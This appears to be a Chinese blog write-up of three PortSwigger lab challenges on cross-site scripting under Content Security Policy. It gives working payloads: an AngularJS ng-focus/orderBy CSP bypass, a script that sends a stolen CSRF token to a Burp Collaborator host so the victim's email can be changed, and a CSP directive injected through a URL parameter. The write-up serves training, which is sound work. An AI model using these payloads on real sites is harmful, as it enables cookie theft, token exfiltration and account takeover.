30连环靶场XSS跨站脚本攻击—专家篇
四号靶场

题目给出需要绕过CSP,还是angular js 的问题,alert出document.cookie
进入靶场

还是有所回显,但源代码中没有找到任何JS脚本代码和额外复现数据的标签,
尝试给了input 标签,居然没有禁用,但是写了focus事件,并没有什么卵用


应该是CSP的问题,直接报错了~
查询一下angular js CSP逃逸的payload

构造payload:
https://.../?search=<input id=x ng-focus=$event.composedPath()|orderBy:'(z=alert)(document.cookie)'>#x
payload解析如下:
传入一个input 标签,并且绑定一个ng-focus事件, e v e n t 为事件对象, event为事件对象, event为事件对象,event.composedPath()是事件的DOM树,为一个数组,后面order by 将数组排序,排序规则为后面,利用这个来执行后面的alert ,alert的调用也是(z=alert)(document.cookie),这种应该是语法吧,第一个函数名,第二个参数,最后的#x来触发这个input框。
大体理解这样,angular js 是真的不熟~~~
进入exploit server ,构造payload
<script>
location.href='https://0a75003f03c3d3498015a92b003c0035.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.composedPath()|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>

五号靶场

好家伙!!!! CSP + CSRF + XSS ,切进去看看吧
题目要求修改受害者邮箱,已经提示有CSP 和 CSRF

还是得在这里注入,payload完全没有头绪
题目已经给了账号密码,先登录再说吧。要拿到csrf ,题目也提示要用Burp Collaborator
攻略过后的payload:
<script>
if(window.name) {
new Image().src='//Collaborator地址?'+encodeURIComponent(window.name);
} else {
location = '靶场地址?email=%22%3E%3Ca%20href=%22响应地址/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
按照这个板子创建payload
<script>
if(window.name) {
new Image().src='//5msx9dr3ukb9p8jnsvbgddf1qswvkk.oastify.com?'+encodeURIComponent(window.name);
} else {
location = 'https://0af8006d0381df5b828d88ec00f80093.web-security-academy.net/my-account?email=%22%3E%3Ca%20href=%22https://exploit-0ab000020305df2882c6879d0188007d.exploit-server.net/exploit%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>

然后BS中就会看到收到的信息:

有一串加密信息 , 应该就是 token , 解码一下:

token:iWgXNsxzCyZ40VYFQxyo2gI5K9WJooNK
然后再利用这个token,用BS抓包,修改邮箱即可

靠。。。 一直提示:非法错误
研究发现,还需要把请求发到 BS CSRF 工具里面去

然后再将这个csrf 通过 靶场虚拟服务器注入给受害者,受害者互动后,完成攻击

payload写不出来,只能读懂了:
通过判断window.name 是否存在,来构建一个跳转至BS 中 Collaborator的请求,页面出现clickme ,来让受害者点击,受害者点击后,得到csrf token的数据。
获取到csrf的token后,拿着token 再利用csrf工具来生成自动提交的payload,通过虚拟服务器再提交至页面,让受害者进行二次点击,来完成攻击。从而伪装token ,达到修改目标邮箱的目的
六号靶场

还是CSP绕过问题,进入靶场

源码中除了显示其余没有任何脚本,尝试注入标签:

注入图片img后,发现报错,CSP阻止 alert脚本触发

直接输入 爆出同样错误,那么alert是可以注入的,需要绕过csp即可
构造payload:
https://0a6c003903ccf3238186f7cf002900f5.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
script-src-elem 'unsafe-inline' 是一个安全策略指令,通常用于 Web 应用程序中的 Content Security Policy (CSP)(内容安全策略)。CSP 是一种安全机制,用于限制浏览器加载和执行特定类型的资源,以减少可能的攻击面和风险。
script-src-elem 是 CSP 中的一个指令,用于控制页面中 <script> 元素加载的脚本资源。'unsafe-inline' 是一个选项,允许页面内联脚本(即在 HTML 内直接包含脚本代码)的执行。这是一种不安全的做法,因为它可能容易受到跨站脚本攻击(XSS)等安全威胁。

成功弹框,但是靶场显示还是未解决,切换到chrome 再试试


回看BS,可以看到成功将unsafe-inline 注入到页面响应中
找寻新世界还为时不晚,因为我的梦想是杨帆到日落之后的地方…
文章详细描述了三个靶场挑战,涉及XSS跨站脚本攻击,特别是如何在CSP限制下构造payload进行攻击。在四号靶场中,通过AngularJS的ng-focus事件和orderBy语法构造payload绕过CSP。五号靶场增加了CSRF和CSP的双重防护,利用BurpCollaborator获取CSRFtoken并构造跳转链接。六号靶场中,通过注入`script-src-elemunsafe-inline`来绕过CSP限制,实现alert弹窗,但需进一步操作解决靶场问题。
1842

被折叠的 条评论
为什么被折叠?



